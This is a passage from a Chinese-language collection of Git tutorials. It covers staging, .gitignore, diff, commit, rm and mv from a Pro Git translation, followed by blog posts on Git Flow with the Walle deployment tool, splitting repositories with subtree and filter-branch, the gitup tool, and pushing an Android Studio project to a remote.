    (use "git checkout -- <file>..." to discard changes in working directory)
modified: benchmarks.rb



文件 benchmarks.rb 出现在 “Changes not staged for commit” 这行下面，说明已跟踪文件的内容发生了变化，但还没有放到暂存区。要暂存这次更新，需要运行 git add 命令（这是个多功能命令，根据目标文件的状态不同，此命令的效果也不同：可以用它开始跟踪新文件，或者把已跟踪的文件放到暂存区，还能用于合并时把有冲突的文件标记为已解决状态等）。现在让我们运行 git add 将 benchmarks.rb 放到暂存区，然后再看看 git status 的输出：


$ git add benchmarks.rb
$ git status
On branch master
Changes to be committed:
    (use "git reset HEAD <file>..." to unstage)
new file: README
modified: benchmarks.rb



现在两个文件都已暂存，下次提交时就会一并记录到仓库。假设此时，你想要在 benchmarks.rb 里再加条注释，重新编辑存盘后，准备好提交。不过且慢，再运行 git status 看看：


$ vim benchmarks.rb
$ git status
On branch master
Changes to be committed:
    (use "git reset HEAD <file>..." to unstage)
new file: README
modified: benchmarks.rb
Changes not staged for commit:
    (use "git add <file>..." to update what will be committed)
    (use "git checkout -- <file>..." to discard changes in working directory)
modified: benchmarks.rb



怎么回事？ benchmarks.rb 文件出现了两次！一次算未暂存，一次算已暂存，这怎么可能呢？好吧，实际上 Git 只不过暂存了你运行 git add 命令时的版本，如果现在提交，那么提交的是添加注释前的版本，而非当前工作目录中的版本。所以，运行了 git add 之后又作了修订的文件，需要重新运行 git add 把最新版本重新暂存起来：


$ git add benchmarks.rb
$ git status
On branch master
Changes to be committed:
    (use "git reset HEAD <file>..." to unstage)
new file: README
modified: benchmarks.rb



忽略某些文件


一般我们总会有些文件无需纳入 Git 的管理，也不希望它们总出现在未跟踪文件列表。通常都是些自动生成的文件，比如日志文件，或者编译过程中创建的临时文件等。我们可以创建一个名为 .gitignore 的文件，列出要忽略的文件模式。来看一个实际的例子：


$ cat .gitignore
*.[oa]
*~



第一行告诉 Git 忽略所有以 .o 或 .a 结尾的文件。一般这类对象文件和存档文件都是编译过程中出现的，我们用不着跟踪它们的版本。第二行告诉 Git 忽略所有以波浪符（~）结尾的文件，许多文本编辑软件（比如 Emacs）都用这样的文件名保存副本。此外，你可能还需要忽略 log，tmp 或者 pid 目录，以及自动生成的文档等等。要养成一开始就设置好 .gitignore 文件的习惯，以免将来误提交这类无用的文件。


文件 .gitignore 的格式规范如下：


所有空行或者以注释符号 ＃ 开头的行都会被 Git 忽略。
可以使用标准的 glob 模式匹配。
匹配模式最后跟反斜杠（/）说明要忽略的是目录。
要忽略指定模式以外的文件或目录，可以在模式前加上惊叹号（!）取反。



所谓的 glob 模式是指 shell 所使用的简化了的正则表达式。星号（*）匹配零个或多个任意字符；[abc]匹配任何一个列在方括号中的字符（这个例子要么匹配一个 a，要么匹配一个 b，要么匹配一个 c）；问号（?）只匹配一个任意字符；如果在方括号中使用短划线分隔两个字符，表示所有在这两个字符范围内的都可以匹配（比如 [0-9] 表示匹配所有 0 到 9 的数字）。


我们再看一个 .gitignore 文件的例子：


# 此为注释 – 将被 Git 忽略
# 忽略所有 .a 结尾的文件
*.a
# 但 lib.a 除外
!lib.a
# 仅仅忽略项目根目录下的 TODO 文件，不包括 subdir/TODO
/TODO
# 忽略 build/ 目录下的所有文件
build/
# 会忽略 doc/notes.txt 但不包括 doc/server/arch.txt
doc/*.txt
# ignore all .txt files in the doc/ directory
doc/**/*.txt



A **/ pattern is available in Git since version 1.8.2.

查看已暂存和未暂存的更新


实际上 git status 的显示比较简单，仅仅是列出了修改过的文件，如果要查看具体修改了什么地方，可以用 git diff 命令。稍后我们会详细介绍 git diff，不过现在，它已经能回答我们的两个问题了：当前做的哪些更新还没有暂存？有哪些更新已经暂存起来准备好了下次提交？ git diff 会使用文件补丁的格式显示具体添加和删除的行。


假如再次修改 README 文件后暂存，然后编辑 benchmarks.rb 文件后先别暂存，运行 status 命令将会看到：


$ git status
On branch master
Changes to be committed:
    (use "git reset HEAD <file>..." to unstage)
new file: README
Changes not staged for commit:
    (use "git add <file>..." to update what will be committed)
    (use "git checkout -- <file>..." to discard changes in working directory)
modified: benchmarks.rb



要查看尚未暂存的文件更新了哪些部分，不加参数直接输入 git diff：


$ git diff
diff --git a/benchmarks.rb b/benchmarks.rb
index 3cb747f..da65585 100644
--- a/benchmarks.rb
+++ b/benchmarks.rb
@@ -36,6 +36,10 @@ def main
@commit.parents[0].parents[0].parents[0]
end
+ run_code(x, 'commits 1') do
+ git.commits.size
+ end
+
run_code(x, 'commits 2') do
log = git.commits('master', 15)
log.size



此命令比较的是工作目录中当前文件和暂存区域快照之间的差异，也就是修改之后还没有暂存起来的变化内容。


若要看已经暂存起来的文件和上次提交时的快照之间的差异，可以用 git diff --cached 命令。（Git 1.6.1 及更高版本还允许使用 git diff --staged，效果是相同的，但更好记些。）来看看实际的效果：


$ git diff --cached
diff --git a/README b/README
new file mode 100644
index 0000000..03902a1
--- /dev/null
+++ b/README2
@@ -0,0 +1,5 @@
+grit
+ by Tom Preston-Werner, Chris Wanstrath
+ http://github.com/mojombo/grit
+
+Grit is a Ruby library for extracting information from a Git repository



请注意，单单 git diff 不过是显示还没有暂存起来的改动，而不是这次工作和上次提交之间的差异。所以有时候你一下子暂存了所有更新过的文件后，运行 git diff 后却什么也没有，就是这个原因。


像之前说的，暂存 benchmarks.rb 后再编辑，运行 git status 会看到暂存前后的两个版本：


$ git add benchmarks.rb
$ echo '# test line' >> benchmarks.rb
$ git status
On branch master
Changes to be committed:
    (use "git reset HEAD <file>..." to unstage)
modified: benchmarks.rb
Changes not staged for commit:
    (use "git add <file>..." to update what will be committed)
    (use "git checkout -- <file>..." to discard changes in working directory)
modified: benchmarks.rb



现在运行 git diff 看暂存前后的变化：


$ git diff
diff --git a/benchmarks.rb b/benchmarks.rb
index e445e28..86b2f7c 100644
--- a/benchmarks.rb
+++ b/benchmarks.rb
@@ -127,3 +127,4 @@ end
main()
##pp Grit::GitRuby.cache_client.stats
+# test line



然后用 git diff --cached 查看已经暂存起来的变化：


$ git diff --cached
diff --git a/benchmarks.rb b/benchmarks.rb
index 3cb747f..e445e28 100644
--- a/benchmarks.rb
+++ b/benchmarks.rb
@@ -36,6 +36,10 @@ def main
@commit.parents[0].parents[0].parents[0]
end
+ run_code(x, 'commits 1') do
+ git.commits.size
+ end
+
run_code(x, 'commits 2') do
log = git.commits('master', 15)
log.size



提交更新


现在的暂存区域已经准备妥当可以提交了。在此之前，请一定要确认还有什么修改过的或新建的文件还没有 git add 过，否则提交的时候不会记录这些还没暂存起来的变化。所以，每次准备提交前，先用 git status 看下，是不是都已暂存起来了，然后再运行提交命令 git commit：


$ git commit



这种方式会启动文本编辑器以便输入本次提交的说明。（默认会启用 shell 的环境变量 $EDITOR 所指定的软件，一般都是 vim 或 emacs。当然也可以按照第一章介绍的方式，使用 git config --global core.editor 命令设定你喜欢的编辑软件。）


编辑器会显示类似下面的文本信息（本例选用 Vim 的屏显方式展示）：


# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
# On branch master
# Changes to be committed:
# new file: README
# modified: benchmarks.rb
#
~
~
~
".git/COMMIT_EDITMSG" 10L, 283C



可以看到，默认的提交消息包含最后一次运行 git status 的输出，放在注释行里，另外开头还有一空行，供你输入提交说明。你完全可以去掉这些注释行，不过留着也没关系，多少能帮你回想起这次更新的内容有哪些。（如果觉得这还不够，可以用 -v 选项将修改差异的每一行都包含到注释中来。）退出编辑器时，Git 会丢掉注释行，将说明内容和本次更新提交到仓库。


另外也可以用 -m 参数后跟提交说明的方式，在一行命令中提交更新：


$ git commit -m "Story 182: Fix benchmarks for speed"
[master 463dc4f] Fix benchmarks for speed
2 files changed, 3 insertions(+)
create mode 100644 README



好，现在你已经创建了第一个提交！可以看到，提交后它会告诉你，当前是在哪个分支（master）提交的，本次提交的完整 SHA-1 校验和是什么（463dc4f），以及在本次提交中，有多少文件修订过，多少行添改和删改过。


记住，提交时记录的是放在暂存区域的快照，任何还未暂存的仍然保持已修改状态，可以在下次提交时纳入版本管理。每一次运行提交操作，都是对你项目作一次快照，以后可以回到这个状态，或者进行比较。

跳过使用暂存区域


尽管使用暂存区域的方式可以精心准备要提交的细节，但有时候这么做略显繁琐。Git 提供了一个跳过使用暂存区域的方式，只要在提交的时候，给 git commit 加上 -a 选项，Git 就会自动把所有已经跟踪过的文件暂存起来一并提交，从而跳过 git add 步骤：


$ git status
On branch master
Changes not staged for commit:
    (use "git add <file>..." to update what will be committed)
    (use "git checkout -- <file>..." to discard changes in working directory)
modified: benchmarks.rb
no changes added to commit (use "git add" and/or "git commit -a")
$ git commit -a -m 'added new benchmarks'
[master 83e38c7] added new benchmarks
1 files changed, 5 insertions(+)



看到了吗？提交之前不再需要 git add 文件 benchmarks.rb 了。

移除文件


要从 Git 中移除某个文件，就必须要从已跟踪文件清单中移除（确切地说，是从暂存区域移除），然后提交。可以用 git rm 命令完成此项工作，并连带从工作目录中删除指定的文件，这样以后就不会出现在未跟踪文件清单中了。


如果只是简单地从工作目录中手工删除文件，运行 git status 时就会在 “Changes not staged for commit” 部分（也就是未暂存清单）看到：


$ rm grit.gemspec
$ git status
On branch master
Changes not staged for commit:
    (use "git add/rm <file>..." to update what will be committed)
    (use "git checkout -- <file>..." to discard changes in working directory)
deleted: grit.gemspec
no changes added to commit (use "git add" and/or "git commit -a")



然后再运行 git rm 记录此次移除文件的操作：


$ git rm grit.gemspec
rm 'grit.gemspec'
$ git status
On branch master
Changes to be committed:
    (use "git reset HEAD <file>..." to unstage)
deleted: grit.gemspec



最后提交的时候，该文件就不再纳入版本管理了。如果删除之前修改过并且已经放到暂存区域的话，则必须要用强制删除选项 -f（译注：即 force 的首字母），以防误删除文件后丢失修改的内容。


另外一种情况是，我们想把文件从 Git 仓库中删除（亦即从暂存区域移除），但仍然希望保留在当前工作目录中。换句话说，仅是从跟踪清单中删除。比如一些大型日志文件或者一堆 .a 编译文件，不小心纳入仓库后，要移除跟踪但不删除文件，以便稍后在 .gitignore 文件中补上，用 --cached 选项即可：


$ git rm --cached readme.txt



后面可以列出文件或者目录的名字，也可以使用 glob 模式。比方说：


$ git rm log/\*.log



注意到星号 * 之前的反斜杠 \，因为 Git 有它自己的文件模式扩展匹配方式，所以我们不用 shell 来帮忙展开（译注：实际上不加反斜杠也可以运行，只不过按照 shell 扩展的话，仅仅删除指定目录下的文件而不会递归匹配。上面的例子本来就指定了目录，所以效果等同，但下面的例子就会用递归方式匹配，所以必须加反斜杠。）。此命令删除所有 log/ 目录下扩展名为 .log 的文件。类似的比如：


$ git rm \*~



会递归删除当前目录及其子目录中所有 ~ 结尾的文件。

移动文件


不像其他的 VCS 系统，Git 并不跟踪文件移动操作。如果在 Git 中重命名了某个文件，仓库中存储的元数据并不会体现出这是一次改名操作。不过 Git 非常聪明，它会推断出究竟发生了什么，至于具体是如何做到的，我们稍后再谈。


既然如此，当你看到 Git 的 mv 命令时一定会困惑不已。要在 Git 中对文件改名，可以这么做：


$ git mv file_from file_to



它会恰如预期般正常工作。实际上，即便此时查看状态信息，也会明白无误地看到关于重命名操作的说明：


$ git mv README.txt README
$ git status
On branch master
Changes to be committed:
    (use "git reset HEAD <file>..." to unstage)
renamed: README.txt -> README



其实，运行 git mv 就相当于运行了下面三条命令：


$ mv README.txt README
$ git rm README.txt
$ git add README



如此分开操作，Git 也会意识到这是一次改名，所以不管何种方式都一样。当然，直接用 git mv 轻便得多，不过有时候用其他工具批处理改名的话，要记得在提交前删除老的文件名，再添加新的文件名。


 GIT指南序

作者：xinxingli

来源： GIT指南序



                    
在学习中接触了Git这个版本控制工具，刚开始并不知道怎么利用这个工具帮助我来开发（虽然我知道它很强大），也是利用网上的一些资料入门，由于没有完全掌握这个版本控制工具，我把它只是用来当做备份代码的一个工具而已，当时并没有体会到利用Git帮助开发带来的便利。


后来在学校的图书馆偶然看到了一本介绍Git的书籍《Git权威指南》，发现这本书写的非常不错，全面细致的介绍了Git使用的方法以及技巧。我在放寒假回家时借了这本书，打算利用一寒假的时间来系统的学习Git。


放假回家学习Git非常顺利，我花了大约2周的时间便学完了Git，多亏了这本书，讲解的非常全面，而且每个命令都有讲解，学习起来非常快。


我在学习的时候选择的操作系统是Ubuntu，在上面安装Git非常方便，而且学习起来非常轻松。


学习完Git后我的最强力的感受是：我为什么没有早点学习它。Git非常强大，我现在在开发中已经完全离不开Git了，Git给开发带来了极大的便利，不仅可以很方便的解决版本控制的问题，也可以解决团队的协同开发问题，是开发的一个绝佳帮手。


由于Git如此多的好处，我推荐每个还没有系统学习Git的开发者都去学习下Git，它会让开发变得简单。


说了这么多了，还没有说到写此书的意图啦。好，下面我就说说我写下此书的目的。

写此书的目的


Git命令较多，可能很多初学者会记不住。我也是这样的，尽管已经系统的学习了上Git，但是如果过个两三个月不使用Git的话，我也会记不清一些命令。


那么，写此书的目的来了，为了在我记不清一些命令时，我可以查阅这本书，便可以重温Git的命令，解决忘记的问题。由于单独写成此书，相比书本来说，更简单，在这本书中省去了一些关于Git命令的详细介绍，只保留必要的部分。这样使得此书的页数大大减少，省去了翻阅书籍的大量时间，提高了工作效率。同时，书中关于Git命令都有着详细的演示，部分演示配有截图，可以更好地阅读。


除了方便已经有Git基础的人员查阅外，这本书还适合没有基础，但想快速上手Git的人员阅读，这本书相比《Git权威指南》、《Pro Git》来说，保留了所有Git的基础命令，并有适当的讲解，可以更快的学习Git，利用Git开发。但是不推荐这么做，想要真正的利用Git这个强大的版本控制工具，还是去学习更详细更权威一点的书籍吧，但如果你喜欢看这本书，我也非常欢迎。

本书的组织


本书共有六篇。


第一篇主要介绍了版本控制系统的前世今生，详细讲解了Git、SVN、CVS之间的区别，同时介绍了Git的一些闪亮特性；最后详细介绍了Git在Linux、windows、OS X系统下的安装方法，没有安装好Git的用户可以详细的阅读并在自己的系统下安装Git。


第二篇是Git入门。


主要介绍了Git的相关配置以及创建Git仓库、暂存、提交的命令、改变Git历史、查看提交日志等命令，在这一章，你会掌握git的基本命令，初步入门git。


第三篇Git进阶。


在这一篇中，你将会接触到利用git来创建分支、打标记、使用Git远程版本库等知识，这些都是git的闪亮特性，学会这些，利用Git会变得更加有趣。


第四篇是使用github。


我们原先创建版本库等各种操作都是在本地电脑上操作的，在这一篇中，我们会介绍如何利用github等平台备份代码、开发项目。


第五篇是Git其他应用。


在这一篇中，我会介绍一些使用Git的其他技巧。


第六篇Git常用命令。


至此，我们已经全部学完了Git，在这一篇中，我会总结使用Git的全面命令，在开发中可以快速查阅。

适用读者


适用全部想学习Git的读者。

排版约定


本书中约定的排版格式如下：


命令输出级示例代码git version 1.9.1
$ git –version



在提示符$后的字符为输入命令，输入命令为黑色粗体，而在输入命令后的非粗体字符为输出。

在线资源


本文全部发表在我的博客上：


官方博客： http://blog.lxx1.com/


本书下载地址：http://www.lxx1.com/


Github下载地址：http://github.com/xinxingli/git


欢迎大家阅读、下载，同时有什么疑问也可以同我交流。


李新星（http://blog.lxx1.com）


2015年2月25日星期三 20时1分


 walle-瓦力自动化部署工具

作者：wushuiyong

来源： walle-瓦力自动化部署工具



                    
1 Git Flow



一般而言，软件开发模型有常见的瀑布模型、迭代开发模型、以及最近出现的敏捷开发模型等不同的模型。每种模型有各自应用场景，Git Flow是构建在Git之上的一个组织软件开发活动的模型，Git Flow重点解决的是由于源代码在开发过程中的各种冲突导致开发活动混乱的问题。在此介绍Git Flow是由于walle依赖它的思想进行持续部署。



开发过程中可能出现的git flow

1.1 Git Flow中的分支



Git Flow模型中定义了主分支和辅助分支两类分支。其中主分支用于组织与软件开发、部署相关的活动；辅助分支组织为了解决特定的问题而进行的各种开发活动。分支的名字是一种共识，更重要的是它承担的责任。

1.2 主分支



主分支是所有开发活动的核心分支。所有的开发活动产生的输出物最终都会反映到主分支的代码中。主分支分为master分支和development分支。

1.2.1 master分支



master分支上存放的应该是随时可供在生产环境中部署的代码，它承担的责任就是：仅在发布新的可供部署的代码时才更新到master分支上的代码。当开发活动告一段落，产生了一份新的可供部署的代码时，master分支上的代码会被更新。同时，每一次更新，最好添加对应的版本号标签（TAG）。

1.2.2 develop分支



develop分支是保存当前最新开发成果的分支，它承担的责任就是功能开发完毕等待最后QA的验收，通常这个分支上的代码也是可进行每日夜间发布的代码。当代码已经足够稳定时，就可以将所有的开发成果合并回master分支了。

1.3辅助分支



辅助分支是用于组织解决特定问题的各种软件开发活动的分支，它的生存周期伴随着它的功能完成而消失。辅助分支包括：


	用于并行开发新功能时所使用的feature分支；


	用于辅助版本发布的release分支；


	用于修正生产代码中的缺陷的hotfix分支。




当这些分支完成它的使命之后在merge到主分支之后，也将被删除。

Git Flow开发模型从源代码管理角度对通常意义上的软件开发活动进行了约束，让小组各个成员之间的开发相互隔离，能够有效避免处于开发状态中的代码相互影响而导致的效率低下和混乱，各自开发团队根据自己的特点和节奏自行剪裁或扩展。

2 Walle介绍



2.1是什么？



Walle 一个web部署系统工具，可能也是个持续发布工具，配置简单、功能完善、界面流畅、开箱即用！支持git、svn版本管理，支持各种web代码发布，静态的HTML、动态PHP、需要编译的JAVA等，用户权限管理，各种自定义高级任务。一键上线、回滚。

项目地址：walle-瓦力，上线开源两个月，目前已支持超过十家企业线上部署使用，每周更新一个版本，持续带来新特性。

2.2 walle的组件关系、原理



walle部署在一台宿主机提供一个web UI，方便用户自主更新代码部署到目标机群。Walle是一个跑在LNMP(LAMP)上的PHP服务，宿主机与目标机群建立信任，通过操作bash命令来实现代码同步、自定义高级任务。


宿主机、目标机群、操作用户关系

2.3配置



用户的项目可自定义git/svn代码托管地址、宿主机、目标机群、高级任务等。配置完成后可快速复制当前配置、检测配置是否正常、以及该项目的审核管理员和成员。



3 walle与Git的配合



walle的持续部署与Git Flow思想一致，在不同的环境部署不同的分支。划分三个环境：测试环境、预发布环境、生产环境。测试环境和预发布环境推荐分支部署，生产环境推荐tag部署。当然，这更适合milestone开发方式，如果是每天快速迭代多个版本，打tag成本就有点高了。

3.1 部署环境



3.1.1 测试环境




	开发者的feature分支开发、自测验收通过后，merge到测试环境的develop分支，（QA）部署到测试环境，等待QA验收。


	QA提bug issue，开发者从develop切分支修正再次合并、部署、验收。




3.1.2 预发布环境




	测试环境验收通过之后，合并到预发布环境的master，部署预发布环境


	QA全面回归，发现问题提bug issue，开发者从master切分支修正再次合并、部署、验收。


	回归完毕打tag，准备上线




3.1.3 生产环境




	上线验收通过的tag


	回归测试，发现问题开发者从master切分支hotfix修正。




3.2 环境上线流程



开发者选择要上线的项目，选择要上线的分支和版本提交上线单，项目管理员审核通过后，开发者发起上线。



4 Walle的部署流程



部署是在一台宿主机拉取代码，做编译、配置后，向目标机群分发，执行相关目标机群任务。部署流程拆分为以下6个环节，其中1-5为在宿主机进行，6在目标机群执行。


	权限、目录检查，开辟一个上线的独立空间以并行发布，防止同时部署出现代码污染


	pre-deploy任务，代码检出前的一些操作任务，如环境检查


	代码从git/svn版本库中检出


	post-deploy任务，代码检出之后操作任务，如java的mvn编译，php的composer插件安装


	保留在独立空间的代码均会被同步至目标机群的一个版本库中


	全量更新：当所有机器都分发完毕，开始做pre-release任务（java暂停服务）、切换版本软链、post-release任务（ java启动服务）





为保证服务的完整性，先同步代码，后切换服务。部署发布每次都会有版本记录保留，版本上线事故一旦发生，回滚可瞬间完成。可配置线上版本最大保留数，过期的版本被会删除，同时也就不能回滚被删除的版本。对于需要编译、自定义多任务辅助，可配置前置、后置操作自定义任务；同时提供一些预置变量（{WORKSPACE}宿主机的当前独立空间、目标机webroot，{VERSION}版本库目录）方便用户操作自定义任务。

上线过程直到目标机群全部完成之前，如有任一环节失败将会回滚，需要重新上线，同时会把错误信息提示用户。

5 Todo list




	支持Docker


	开放接口


	支持第三方hook




6 了解更多



项目地址：walle-瓦力，官方主页-花满树。欢迎了解、star、fork。


 Git 仓库拆拆拆

作者：Amio

来源： Git 仓库拆拆拆



                    
程序员最爽的事情是什么？删删删！所有项目本来都很苗条的，时间长了难免有一些越搞越大，怎么看怎么不爽，一个字，拆！今天就说说拆分 Git 仓库这件小事儿。


这个拆字呢，有两种写法，比如你有一个叫做 big-project 的仓库，目录如下：


big-project
 ├── codes-a
 ├── codes-b
 └── codes-eiyo



有时候想把 codes-eiyo 拆出来做为一个独立仓库；有时候是想把 codes-eiyo 清理掉，只保留剩下的代码在仓库中。现在就来分别看看这两件事情怎么干：


拆分一个子目录为独立仓库


以前是用 filter-branch 来实现，这个需求太常见了，有人做了个整合的 git-subtree，再后来……subtree 集成进 Git 了。


# 这就是那个大仓库 big-project
$ git clone git@github.com:tom/big-project.git
$ cd big-project

# 把所有 `codes-eiyo` 目录下的相关提交整理为一个新的分支 eiyo
$ git subtree split -P codes-eiyo -b eiyo

# 另建一个新目录并初始化为 git 仓库
$ mkdir ../eiyo
$ cd ../eiyo
$ git init

# 拉取旧仓库的 eiyo 分支到当前的 master 分支
$ git pull ../big-project eiyo



清除一个子目录下所有内容和记录


这个还是要用万能的 filter-branch：


bash# 还是那个大仓库 big-project
$ git clone git@github.com:tom/big-project.git
$ cd big-project

# 清理 `master` 分支上所有跟 `codes-eiyo` 目录有关的痕迹
$ git filter-branch --index-filter "git rm -rf --cached --ignore-unmatch codes-eiyo" --prune-empty master

# 另建一个新目录并初始化为 git 仓库
$ mkdir ../big-project-fresh
$ cd ../big-project-fresh
$ git init

# 拉取 `big-project` 的 `master` 分支（到新仓库的 master 分支）
$ git pull ../big-project master



Before & After


记得用 count-objects 命令比较新旧仓库的差异（爽爽爽）：


bash$ git count-objects -vH



接下来要推送给新的远端仓库什么的就随你便了~


bash$ git remote add origin git://github.com:tom/fresh-project.git
$ git push origin -u master



 gitup: 批量更新多个 git 代码库的小工具

作者：fenbox

来源： gitup: 批量更新多个 git 代码库的小工具



                    
一直用 Sketch 做设计，Sketch 的插件通常都是从 github 上直接 clone 下来安装的，一个插件对应一个 repo。随着插件越来越多，每次更新都得手动一个个 git pull 很麻烦，于是弄了个 bash 小脚本来批量更新：

#!/bin/sh
for dir in $(ls -d */)
do
  if [ -d "$dir"/.git ]; then
    echo "$dir" && cd "$dir" && git pull && cd ..
  fi
done

小脚本虽然解决了最原始的需求，但是仍然不是很好用。于是在网上又搜刮了一遍发现了 git-repo-updater （简称：gitup） 这个小工具。

用 homebrew 进行安装，很简单执行 brew install gitup 即可安装。

Sketch 的插件都在 <dir>/plugin 目录下，所以我们进入 <dir>/plugin 目录，在该目录下执行 gitup . 即可，终端里会实时显示更新进度，不一会儿就更新完成了，省时省力。



当然，还有更高级的用法：

# 更新 foo, bar, baz 这几个 repo
gitup ~/repos/foo ~/repos/bar ~/repos/baz

# 更新 repos 目录下的所有 repo
gitup ~/repos

你还可以将这些 repo 放进收藏夹：

gitup --add ~/repos/foo ~/repos/bar ~/repos/baz
gitup --add ~/repos

然后运行 gitup（不加任何参数）就行更新收藏夹下的所有 repo。还有一些其他用法：

# 删除收藏夹
gitup --delete ~/repos

# 查看当前收藏夹
gitup --list

嗯，是不是很有用啊，了解更多，请上传送门 https://github.com/earwig/git-repo-updater


 用 Git Subtree 在多个 Git 项目间双向同步子项目，附简明使用手册

作者：德来

来源： 用 Git Subtree 在多个 Git 项目间双向同步子项目，附简明使用手册



                    
什么时候需要 Subtree ？   
1、当多个项目共用同一坨代码，而这坨代码跟着项目在快速更新的时候   
2、把一部分代码迁移出去独立为一个新的 git 仓库，但又希望能够保留这部分代码的历史提交记录。



背景

有赞微商城曾经是一个很大的前后端代码都包含在里面的 Git 项目，为了方便管理我们把前后端代码分离成2个 Git 仓库，进而再作分项目拆分成多个Git 仓库。

于是，就需要有好的方式同步各个项目共用的Css库、JS库、PHP库（他们都是以独立的 Git 仓库的形式存在）。而且由于开发节奏极快，我们需要这些库是可以在不同项目间双向同步的而不是单向同步。而且，最好能做到被迁移的这部分代码在新的git仓库里保留原有的历史提交记录。

举个栗子：A项目需要在给某个子项目W里添加一个文件，最方便的方式自然是直接在A项目里改W子项目对应的目录里的代码，然后测试通过后，把这个更改提交到W子项目的 Git仓库里。如果这时候还要先单独更新W子项目的代码然后提交到 Git 服务器，再在A项目里把W子项目的代码更新过来，显然是很麻烦的，更麻烦的是如果发现代码有bug，还得再走一遍这个流程。

有什么方案？


	Git Submodule：这是Git官方以前的推荐方案


	Git Subtree：从 Git 1.5.2 开始，Git 新增并推荐使用这个功能来管理子项目


	npm：node package manager，实际上不仅仅是 node 的包管理工具


	composer：暂且认为他是php版npm、php版Maven吧




虽然 npm、composer、maven 等更侧重于包的依赖管理，以上几个方案都是能够做到在不同项目中同步同一块代码的，但没法双向同步，更适用于子项目代码比较稳定的情形。

Git Submodule 和 Git Subtree 都是官方支持的功能，不具有依赖管理的功能，但能满足我们的要求。Git Subtree相对来说会更好一些 。

Git Subtree 好在哪里

用一句话来描述 Git Subtree 的优势就是：

经由 Git Subtree 来维护的子项目代码，对于父项目来说是透明的，所有的开发人员看到的就是一个普通的目录，原来怎么做现在依旧那么做，只需要维护这个 Subtree 的人在合适的时候去做同步代码的操作。



它是怎么做到的呢？简单说下原理

Git Subtree 的原理

首先，你有两个伟大的项目——我们叫他P1项目、P2项目，还有一个牛逼的要被多个项目共用的项目——我们叫他S项目。我们通过简要讲解使用Subtree来同步代码的过程来解释Subtree的原理

1、初始化子项目Subtree

通过

cd P1项目的路径
git subtree add --prefix=用来放S项目的相对路径 S项目git地址 xxx分支

这样的命令，把S项目（我们姑且叫他S项目）的代码下载到--prefix所指定的目录——我们姑且叫他S目录把，并在P1项目里自动产生一个commit（就是把S目录的内容提交到P1项目里）。

对于P2项目也做同样的操作

2、像往常一样更新代码

大家在P1项目里各种提交commit，其中有些commit会涉及到S目录的更改，正如前面提到的，这是没任何关系的，大家也不会感受到有任何不一样。

3、提交更改到子项目的Git服务器

关键的地方来了：
当维护这个S项目 Subtree 的人希望把最近这段时间对S目录的更改提交到S项目的 Git 服务器上时，他执行一段类似于这样的命令：

cd P1项目的路径
git subtree push --prefix=S项目的路径 S项目git地址 xxx分支

Git 会遍历所有的commit，从中找出针对S目录的更改，然后把这些更改记录提交到S项目的Git服务器上

4、更新子项目新的代码到父项目

OK，现在S项目有大量的新代码了，P2项目也想使用这些新代码，维护P2这个Subtree的人只要执行：

git subtree pull --prefix=S项目的路径 S项目git地址 xxx分支

这样就可以将P2项目里S项目目录里的内容更新为S项目xxx分支的最新代码了。

我总结的 Git Subtree 简明使用手册

假设，你要在各个项目里的components/zenjs这个目录对 http://github.com/youzan/zenjs.git 这个项目做Subtree

1.首先必须确保各个项目已经添加zenjs 这个 remote（关于remote是什么可以看这里）:

git remote add zenjs http://github.com/youzan/zenjs.git

2.将zenjs添加到各个项目里

git subtree add --prefix=components/zenjs zenjs master  

3.各项目更新zenjs代码的方法:

git subtree pull --prefix=components/zenjs zenjs master

4.各项目提交zenjs代码的方法:

git subtree push --prefix=components/zenjs zenjs hotfix/zenjs_xxxx

这会在远程的zenjs的仓库里生成一个叫 hotfix/zenjs_xxxx 的的分支，包含了你过去对components/zenjs 所有的更改记录

5.把hotfix/zenjs_xxx分支更新并合并到master并提交

这样其他工程就可以更新到你提交的代码了。


有人可能会问，只用master分支，不管版本，太有风险了。

对的，正如我们前面说到的那样，subtree的方案适用的场景是：各个项目共用一个库，而这个库正在快速迭代更新的过程中。如果追求稳定，只需要给库拉出一个如v0.1.0这样的版本号命名的稳定分支，subtree只用这个分支即可。

我们现在使用的方式就是：A项目经常会对zenjs做更新，所以A项目用subtree来双向同步；B项目只是使用，所以用bower用来按版本来更新代码。



高阶功能

重新split出一个新起点（这样，每次提交subtree的时候就不会从头遍历一遍了）

git subtree split --rejoin --prefix=components/zenjs --branch new_zenjs
git push zenjs new_zenjs:master

本文首发于我的
个人技术博客：http://delai.me/code/git-subtree/
SegmentFault专栏：http://segmentfault.com/a/1190000003969060
转载请注明出处





2016年3月3日，update，补充 subtree 的使用场景


 Android Studio：GIT提交项目到远程仓库

作者：Sanchi

来源： Android Studio：GIT提交项目到远程仓库



                    
首先本地安装git工具。官方下载地址：http://git-scm.com/download

不熟悉git的同学可以去廖雪峰大神的网站去学习：http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000，大神讲解得简洁明了，一目了然，我的敬仰之情如滔滔江水连绵不绝.....

众所周知，世界上最大的公共分布式代码仓库当属Github（https://github.com/）了。当然，国内也有一个汉化版Git@OSC（http://git.oschina.net/）。区别在于OSC可以选择public或者private的项目，而github的private类型项目存储是要收费的。

要使用这两个远程仓库，首先需要提交SSH Key。本地生成SSH Key的最简单方式是打开Git Gui，帮助->show ssh key；如果提示你输入密码，不用管，直接OK，OK默认没有密码就行。当然你也可以设置密码。



copy上面生成的key之后，填到网站的setting->SSH Keys一栏。

Git@OSC：


	创建项目：



	android studio创建本地项目，create git repository，选择当前项目的根目录:



	以下为命令行操作：打开本地的git bash命令行工具，cd进入项目文件夹位置，依次输入如下命令




git init    //初始化文件夹为代码仓库
git add .    //添加本地所有文件到
git commit -m "你的提交信息"    //向本地仓库提交add的所有文件
git remote add origin https://git.oschina.net/sanchi3/ThreeKillers.git    //将OSC的远程分支拉取到本地
git pull origin master    //拉取master分支的文件信息
git push origin master    //提交本地仓库的修改到远程master分支





在上面过程进行的过程中，如果多次添加分支git remote add origin https://git.oschina.net/sanchi3/ThreeKillers.git，会出现fatal: remote origin already exists.错误。

此时，输入命令git remote rm origin移除本地的分支，再次重新添加分支：git remote add origin https://git.oschina.net/sanchi3/ThreeKillers.git，然后pull代码，错误就消失啦，pull的过程中需要输入你的账号跟密码，按照提示依次输入就可以了。密码是不可见的，输完按回车确认。


如果pull下来的代码有冲突，错误如上图提示：Auto-merging .gitignore CONFLICT (add/add): Merge conflict in .gitignore Automatic merge failed; fix conflicts and then commit the result.
